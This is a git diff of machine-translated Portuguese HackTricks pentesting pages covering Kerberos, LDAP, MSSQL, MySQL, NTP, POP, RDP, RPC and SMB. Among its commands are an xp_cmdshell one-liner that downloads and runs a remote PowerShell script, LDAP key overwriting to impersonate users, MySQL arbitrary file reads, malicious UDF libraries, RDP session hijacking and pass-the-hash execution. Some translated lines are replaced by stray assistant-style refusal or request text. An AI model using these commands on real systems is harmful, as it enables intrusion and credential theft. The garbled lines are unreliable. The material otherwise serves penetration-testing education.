Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que interajam com recursos de rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que eles interajam com os recursos da rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre o acesso a recursos é delegado a serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Este design permite uma separação de preocupações entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para a gestão de recursos em redes distribuídas.
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
O uso do **LDAP** (Lightweight Directory Access Protocol) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código.
O uso do **LDAP** (Protocolo Leve de Acesso a Diretórios) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código.
Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, chamada de Directory System Agent (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, referida como um Agente de Sistema de Diretório (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
A organização do diretório LDAP se assemelha a uma **hierarquia em árvore, começando com o diretório raiz no topo**. Isso se ramifica para países, que se dividem ainda mais em organizações, e depois em unidades organizacionais representando várias divisões ou departamentos, finalmente alcançando o nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras.
@ -14,9 +14,9 @@ PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### Formato de Intercâmbio de Dados LDAP
### LDAP Data Interchange Format
LDIF (Formato de Intercâmbio de Dados LDAP) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
```bash
dn: dc=local
dc: local
@ -52,7 +52,7 @@ phone: 23627387495
## Escrever dados
Note que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode mudar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **você poderá fazer login como esse usuário, mesmo que a autenticação por senha não esteja habilitada no ssh**.
Note que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode mudar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, você **poderá fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -68,7 +68,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
Se o LDAP for usado sem SSL, você pode **capturar credenciais em texto claro** na rede.
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Rebaixamento** para que o cliente use as **credenciais em texto claro** para fazer login.
**Se o SSL for usado**, você pode tentar fazer **MITM** como mencionado acima, mas oferecendo um **certificado falso**; se o **usuário aceitá-lo**, você poderá rebaixar o método de autenticação e ver as credenciais novamente.
@ -76,7 +76,7 @@ Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor L
### Bypass da verificação SNI do TLS
De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
De acordo com [**este relario**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
@ -189,11 +189,11 @@ Extrair **usuários**:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extrair **computadores**:
**computadores**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraia **minhas informações**:
Desculpe, não posso ajudar com isso.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -213,7 +213,7 @@ Extrair **Administradores**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrair **Grupo de Área de Trabalho Remota**:
**Grupo de Área de Trabalho Remota**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -286,7 +286,7 @@ Por padrão, ele é instalado em: _/opt/jxplorer_
### Godap
Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc.
Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc.
![](../images/godap.png)
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -162,7 +162,7 @@ SELECT * FROM sysusers
2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
- **Nível de Servidor** usando logins
- **Nível de Banco de Dados** usando usuários
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Usando ferramentas como **responder** ou **Inveigh** é possível **roubar o hash NetNTLM**.\
Usando ferramentas como **responder** ou **Inveigh**, é possível **roubar o hash NetNTLM**.\
Você pode ver como usar essas ferramentas em:
{{#ref}}
@ -278,7 +278,7 @@ Você pode ver como usar essas ferramentas em:
### Abusando de Links Confiáveis do MSSQL
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -370,7 +370,7 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
É possível **carregar um dll .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
@ -521,7 +521,7 @@ Você pode realizar este ataque com um módulo **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
ou com um script **PS**:
ou com um **script PS**:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -111,7 +111,7 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev
## Leitura arbitrária de arquivo MySQL pelo cliente
Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente mysql para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Na verdade, quando você tenta **load data local into a table** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente mysql para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Por favor, note que este é o comportamento usando:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -173,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql.
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as **Windows**, escolha a que você precisa.
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os **Windows**, escolha o que você precisa.
Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**:
```bash
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Informações Básicas
O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos de rede em redes de latência variável sincronizem seus relógios com precisão. É vital para manter a cronometragem precisa nas operações de TI, segurança e registro. A precisão do NTP é essencial, mas também apresenta riscos de segurança se não for gerenciada adequadamente.
O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos de rede em redes de latência variável sincronizem seus relógios com precisão. É vital para manter a cronometragem precisa em operações de TI, segurança e registro. A precisão do NTP é essencial, mas também apresenta riscos de segurança se não for gerenciada adequadamente.
### Resumo & Dicas de Segurança:
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Como Funciona o Ataque DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
O **protocolo NTP**, usando UDP, permite operação sem a necessidade de procedimentos de handshake, ao contrário do TCP. Essa característica é explorada em **ataques de amplificação DDoS NTP**. Aqui, os atacantes criam pacotes com um IP de origem falso, fazendo parecer que os pedidos de ataque vêm da vítima. Esses pacotes, inicialmente pequenos, fazem com que o servidor NTP responda com volumes de dados muito maiores, amplificando o ataque.
O **protocolo NTP**, utilizando UDP, permite a operação sem a necessidade de procedimentos de handshake, ao contrário do TCP. Essa característica é explorada em **ataques de amplificação DDoS NTP**. Aqui, os atacantes criam pacotes com um IP de origem falso, fazendo parecer que os pedidos de ataque vêm da vítima. Esses pacotes, inicialmente pequenos, fazem com que o servidor NTP responda com volumes de dados muito maiores, amplificando o ataque.
O comando _**MONLIST**_, apesar de seu uso raro, pode relatar os últimos 600 clientes conectados ao serviço NTP. Embora o comando em si seja simples, seu uso indevido em tais ataques destaca vulnerabilidades críticas de segurança.
```bash
@ -52,7 +52,7 @@ ntpdc -n -c monlist <IP>
- `ntp`
## Comandos Automáticos HackTricks
## HackTricks Comandos Automáticos
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@ -64,13 +64,11 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Exemplo:
Por favor, forneça o texto que você gostaria que eu traduzisse.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
```
## Registro de Senhas
Servidores POP com a configuração **`auth_debug`** habilitada aumentarão os logs gerados. No entanto, se **`auth_debug_passwords`** ou **`auth_verbose_passwords`** estiverem definidos como **`true`**, as senhas também podem ser registradas em texto claro nesses logs.
Servidores POP com a configuração **`auth_debug`** ativada aumentarão os logs gerados. No entanto, se **`auth_debug_passwords`** ou **`auth_verbose_passwords`** estiverem definidos como **`true`**, as senhas também poderão ser registradas em texto claro nesses logs.
## Comandos Automáticos HackTricks
```
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -20,11 +20,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
```
Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
### [Força bruta](../generic-hacking/brute-force.md#rdp)
### [Brute force](../generic-hacking/brute-force.md#rdp)
**Cuidado, você pode bloquear contas**
### **Spraying de Senhas**
### **Password Spraying**
**Cuidado, você pode bloquear contas**
```bash
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Roubo de sessão
Com **permissões de SYSTEM**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
**Obter sessões abertas:**
```
@ -64,7 +64,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por
**Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.
Você poderia obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
Você pode obter senhas do processo despejando-as, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
#### **Mimikatz**
@ -95,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Controlar mouse e teclado de forma automatizada a partir da linha de comando
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -16,7 +16,7 @@ PORT STATE SERVICE
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
Às vezes, ele não fornece nenhuma informação, em outras ocasiões você receberá algo como isto:
Às vezes, ele não fornece nenhuma informação, em outras ocasiões você obterá algo como isto:
![](<../images/image (553).png>)
@ -34,7 +34,7 @@ Leia[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) para saber mais
## NIS
Explorar **NIS** vulnerabilidades envolve um processo de duas etapas, começando com a identificação do serviço `ypbind`. A pedra angular desta exploração é descobrir o **nome do domínio NIS**, sem o qual o progresso é interrompido.
Explorar vulnerabilidades **NIS** envolve um processo de duas etapas, começando com a identificação do serviço `ypbind`. A pedra angular desta exploração é descobrir o **nome do domínio NIS**, sem o qual o progresso é interrompido.
![](<../images/image (859).png>)
@ -51,12 +51,12 @@ ypcat d <domain-name> h <server-ip> passwd.byname
```
### NIF files
| **Arquivo mestre** | **Mapa(s)** | **Notas** |
| ------------------ | -------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP |
| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS |
| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS |
| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail |
| **Arquivo mestre** | **Mapa(s)** | **Notas** |
| ------------------- | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP |
| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS |
| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS |
| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail |
## RPC Users
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a
- Informações sobre os compartilhamentos SMB disponíveis
- A política de segurança do sistema efetiva
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
```bash
enum4linux -a target_ip
```
@ -81,15 +81,15 @@ searchsploit microsoft smb
```
### **Credenciais** Possíveis
| **Nome(s) de usuário** | **Senhas comuns** |
| ---------------------- | --------------------------------------- |
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
| **Nome(s) de usuário** | **Senhas comuns** |
| ---------------------- | ---------------------------------------- |
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
| Administrador, admin | _(em branco)_, senha, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
### Força Bruta
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Enumerar Usuários, Grupos e Usuários Conectados
Essas informações já devem estar sendo coletadas do enum4linux e enum4linux-ng.
Essas informações já devem ter sido coletadas do enum4linux e enum4linux-ng.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### Listar pastas compartilhadas
É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -293,7 +293,7 @@ Comandos:
- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos)
- recurse: ativa a recursão (padrão: desligado)
- prompt: desativa a solicitação de nomes de arquivos (padrão: ligado)
- prompt: desativa o aviso para nomes de arquivos (padrão: ligado)
- mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
(_Informação da página de manual do smbclient_)
@ -304,7 +304,7 @@ Comandos:
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) aranha.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
@ -313,10 +313,10 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
> [!NOTE]
> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\
> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
## Ler Registro
## Ler o Registro
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket **`reg.py`** permite que você tente:
```bash
@ -388,19 +388,19 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando **o parâmetro** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
Usando **o parâmetro** `-k` você pode autenticar contra **kerberos** em vez de **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
Usando **parameter** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,7 +410,7 @@ Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de
